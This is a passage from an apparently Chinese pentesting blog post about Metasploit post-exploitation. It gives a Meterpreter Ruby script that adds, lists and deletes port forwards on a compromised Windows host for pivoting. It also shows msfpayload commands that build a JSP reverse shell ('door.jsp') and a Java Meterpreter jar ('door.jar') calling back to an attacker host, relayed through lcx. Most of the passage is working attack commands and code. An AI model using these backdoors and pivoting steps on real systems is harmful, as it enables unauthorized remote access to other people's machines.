从刚才portfwd的命令可以知道,其支持add、delete、list命令,因此继续丰富自己的脚本,可以实现这样一个功能,添加端口映射、删除端口映射、查看端口映射。照猫画虎可以写出如下脚本:
# Author: buchedan.org #------------------------------------------------------------------------------- ################## Variable Declarations ################## session = client @@exec_opts = Rex::Parser::Arguments.new( "-h" => [ true, "Help menu." ], "-c" => [ true, "include -add -list -del. " ], "-l" => [ true, "localport and it is not using." ], "-r" => [ true, "remoteip of trying to connect." ], "-p" => [ true, "remoteport of trying to connect." ] ) def usage print_line("portfwd ") print_line("Usage: changeport -c add -l <localport> -r <remoteip> -p <remoteport>") print_line("Usage: changeport -c list ") print_line("Usage: changeport -c del -l <localport> ") print(@@exec_opts.usage) raise Rex::Script::Completed end def message print_status "portfwd remoteip port to localport" print_status "http://buchedan.org" end ################## MAIN ################## # Parsing of Options cmd = nil lport = nil rip = nil rport = nil @@exec_opts.parse(args) { |opt, idx, val| case opt when "-c" cmd = val when "-h" usage when "-l" lport = val when "-r" rip = val when "-p" rport = val end } if client.platform =~ /win32|win64/ if args.length > 0 # show info message case cmd when "list" client.run_cmd("portfwd list") when "add" if (!lport or !rip or !rport) print_error("You must supply a local port, remote host, and remote port.") return end client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p #{rport} -r #{rip}") #print_status("Starting the #{rip}:#{rport} forwarding at local port #{lport}") when "del" if(!lport) print_error("You must supply a local port.") return else client.run_cmd("portfwd delete -L 0.0.0.0 -l #{lport}") end end else usage end else print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end |
放入到/opt/metasploit/msf3/scripts/meterpreter下
使用方法演示
可以显示帮助信息,建立映射,显示映射,删除映射。当然鸟语写的不好,只有自己能看懂。
后来蓦然回首,才发现当初的自己是多么的2,原来meterpreter本身就有这个portfwd功能,可以直接使用,我真是脱裤子放屁了。完全实现了add、list与delete。
0x02 总结
本文主要学习,使用lcx做端口转发,将两个内网机器(目标机器和msf)建立连接,同时使用msfpayload进行作为跳板,可以进行继续渗透。最后是简单实现端口映射,了解基本的mterpreter脚本编程。
这里测试几个常用的:
Jsp版
1)生成jsp版反向连接代码
msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.7.89 LPORT=500 R > /tmp/door.jsp
Msf中设置,然后在7.89上使用lcx转发即可。
成功后显示是一个命令行:
但是好像不能使用meterpreter功能。
看生成的door.jsp内容
就是将命令进行了绑定。应该不能升级到meterpreter了。
Jar包版
1)创建jar
msfpayload java/meterpreter/reverse_tcp LHOST=192.168.7.89 LPORT=500 R > /tmp/door.jar
公网ip lcx开始监听两端口
Msf设置
在客户端运行jar即可
貌似运行的还很稳定正常